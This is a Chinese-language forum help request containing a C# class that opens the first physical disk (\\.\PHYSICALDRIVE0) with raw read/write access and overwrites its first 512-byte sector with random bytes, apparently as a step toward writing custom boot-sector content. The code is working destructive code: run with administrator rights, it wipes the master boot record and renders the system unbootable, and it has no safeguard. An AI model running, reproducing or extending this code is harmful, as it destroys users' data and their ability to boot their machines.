本帖最后由 lizf2019 于 2021-8-12 09:58 编辑
源码(一个类):
class test
{
[DllImport("kernel32", SetLastError = true)]
static extern IntPtr CreateFile(
string FileName,
uint DesiredAccess,
uint ShareMode,
IntPtr SecurityAttributes,
uint CreationDisposition,
int FlagsAndAttributes,
IntPtr hTemplate
);
public const int FILE_FLAG_NO_BUFFERING = 0x20000000;
public static void Main()
{
IntPtr handle = CreateFile(@"\\.\PHYSICALDRIVE0", 0x40000000 | 0x80000000, 0, IntPtr.Zero, 3, FILE_FLAG_NO_BUFFERING, IntPtr.Zero);
Console.WriteLine(handle.ToString());
FileStream disk = new FileStream(handle, FileAccess.ReadWrite);
byte[] bt = new byte[512];
Random rnd = new Random();
rnd.NextBytes(bt);
for (int i = 0; i < bt.Length; i++)
{
Console.Write(bt[i].ToString("x2") + " ");
}
disk.Seek(0, SeekOrigin.Begin);
try
{
disk.Write(bt, 0, 512);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
求助:
1.如何指定写入内容(好像要按Unicode编码)
2.如要写入引导区调用是否为test.main |